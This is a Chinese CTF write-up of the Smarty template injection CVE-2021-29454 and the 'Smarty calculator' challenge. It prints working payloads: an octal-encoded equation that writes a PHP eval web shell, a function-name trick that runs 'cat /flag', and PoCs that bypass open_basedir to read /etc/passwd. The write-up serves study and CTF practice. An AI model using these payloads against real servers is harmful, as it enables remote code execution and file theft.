CVE-2021-29454——Smarty模板注入
漏洞報告
Smarty 是 PHP 的模板引擎,有助于將表示 (HTML/CSS) 與應用程序邏輯分離。在 3.1.42 和 4.0.2 版本之前,模板作者可以通過制作惡意數學字符串來運行任意 PHP 代碼。如果數學字符串作為用戶提供的數據傳遞給數學函數,則外部用戶可以通過制作惡意數學字符串來運行任意 PHP 代碼。用戶應升級到版本 3.1.42 或 4.0.2 以接收補丁。
源碼分析
對比官方修復的代碼,在/plugins/function.math.php添加了如下一段
// Remove whitespaces$equation = preg_replace('/\s+/', '', $equation);// Adapted from https://www.php.net/manual/en/function.eval.php#107377$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number$functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';$operators = '[+/*^%-]'; // Allowed math operators$regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*((?1)+)|((?1)+)))(?:'.$operators.'(?2))?)+$/';if (!preg_match($regexp, $equation)) {trigger_error("math: illegal characters", E_USER_WARNING);return;}對惡意拼接的數學字符串進行過濾(漏洞利用POC格式其實也在這里寫出來了,參考$regexp)
而在較低版本下,缺少過濾部分,進而導致RCE
具體的POC我會在下面利用部分詳寫的
并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加
/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBackticksIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testDollarSignsIllegal(){$expected = "22.00";$tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}/*** @expectedException PHPUnit_Framework_Error_Warning*/public function testBracketsIllegal(){$expected = "I";$tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');$this->assertEquals($expected, $this->smarty->fetch($tpl));}漏洞利用實例——紅明谷 2022 | Smarty calculator
【相關技術文檔】
考點
- Smarty3.1.39 模板注入(CVE-2021-29454)
- Bypass open_basedir
- Bypass disable_functions
過程詳解
看到Smarty,聯系題目描述就明白這是Smarty模板注入,但是出題人修改了模板規則(真滴茍啊)。
一般情況下輸入{$smarty.version},就可以看到返回的Smarty當前版本號,此題版本是3.1.39。
掃一下網站,發現存在源碼泄露,訪問www.zip即可下載,打開分析。
index.php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Smarty calculator</title> </head> <body background="img/1.jpg"> <div align="center"><h1>Smarty calculator</h1> </div> <div style="width:100%;text-align:center"><form action="" method="POST"><input type="text" style="width:150px;height:30px" name="data" placeholder=" 輸入值進行計算" value=""><br><input type="submit" value="Submit"></form> </div> </body> </html> <?php error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy);function waf($data){$pattern = "php|<|flag|?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");die();}}return $data; }if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert("你還沒有登錄")</script>";} }在index.php中定義了waf函數,會檢測$data中是否含有php < flag字樣,這個還是蠻好繞的。
還會檢測cookie中login是否存在且值不為零,只要在cookie上添加就好。
剩下的太多了。。。所以我篩選了一下,發現出題人應該只修改過3個文件。
用Beyond Compare對比一下官方模板,發現了出題人重點修改的地方就是正則匹配。
在CVE-2021-29454,有關Smarty的安全問題上,也有提到
- 阻止$smarty.template_object在沙盒模式下訪問
- 修復了通過使用非法函數名的代碼注入漏洞{function name=‘blah’}{/function}
那么接下來,請欣賞各種優雅的過正則姿勢
姿勢一
在正則處打下斷點進行測試,
發現可以通過換行繞過正則
設置完cookie后,url編碼一下,POST傳參,poc執行成功
但是不能直接cat /flag,有disable_functions以及open_basedir,繞過open_basedir的方法可太多了,我之前寫了一篇文章你的open_basedir安全嗎? - 先知社區 (aliyun.com)
syslink() php 4/5/7/8
symlink(string $target, string $link): bool原理是創建一個鏈接文件 aaa 用相對路徑指向 A/B/C/D,再創建一個鏈接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其實就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。這時候刪除 aaa 文件再創建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就進入了路徑/etc/passwd payload 構造的注意點就是:要讀的文件需要往前跨多少路徑,就得創建多少層的子目錄,然后輸入多少個…/來設置目標文件。
<?php highlight_file(__FILE__); mkdir("A");//創建目錄 chdir("A");//切換目錄 mkdir("B"); chdir("B"); mkdir("C"); chdir("C"); mkdir("D"); chdir("D"); chdir(".."); chdir(".."); chdir(".."); chdir(".."); symlink("A/B/C/D","aaa"); symlink("aaa/../../../../etc/passwd","abc"); unlink("aaa"); mkdir("aaa"); ?>ini_set()
ini_set()用來設置php.ini的值,在函數執行的時候生效,腳本結束后,設置失效。無需打開php.ini文件,就能修改配置。函數用法如下:
ini_set ( string $varname , string $newvalue ) : stringPOC
<?php highlight_file(__FILE__); mkdir('Andy'); //創建目錄 chdir('Andy'); //切換目錄 ini_set('open_basedir','..'); //把open_basedir切換到上層目錄 chdir('..'); //切換到根目錄 chdir('..'); chdir('..'); ini_set('open_basedir','/'); //設置open_basedir為根目錄 echo file_get_contents('/etc/passwd'); //讀取/etc/passwd姿勢二
其實這個正則并不難,我們可以直接利用八進制數,然后借用Smarty的math equation,直接寫入一句話shell,Antsword連接就好。
payload:
eval:{$x="42"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\141\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76")"}然后蟻劍連接,在根目錄下得到flag
姿勢三
既然我們能利用函數名了,那么我們也可以用一些數學函數執行命令,我當時用就是這一種(其實是另外兩種沒想到,嘿嘿嘿)
<?php highlight_file(__FILE__); //error_reporting(0); include_once('./Smarty/Smarty.class.php'); $smarty = new Smarty(); $my_security_policy = new Smarty_Security($smarty); $my_security_policy->php_functions = null; $my_security_policy->php_handling = Smarty::PHP_REMOVE; $my_security_policy->php_modifiers = null; $my_security_policy->static_classes = null; $my_security_policy->allow_super_globals = false; $my_security_policy->allow_constants = false; $my_security_policy->allow_php_tag = false; $my_security_policy->streams = null; $my_security_policy->php_modifiers = null; $smarty->enableSecurity($my_security_policy); //$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2]);" p=1 }'); $smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].' ./'.'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1" }'); //exec('cat /flag')>1 ?>將執行結果寫入1文件,同樣,因為有disable_functions以及open_basedir,所以執行會不成功嗎,重復姿勢一,就能繞過。
總結
以上是生活随笔為你收集整理的CVE-2021-29454——Smarty模板注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 「安全技术」针对常见混淆技术的反制措施
- 下一篇: 【网络安全】域渗透之完全绕开安全组件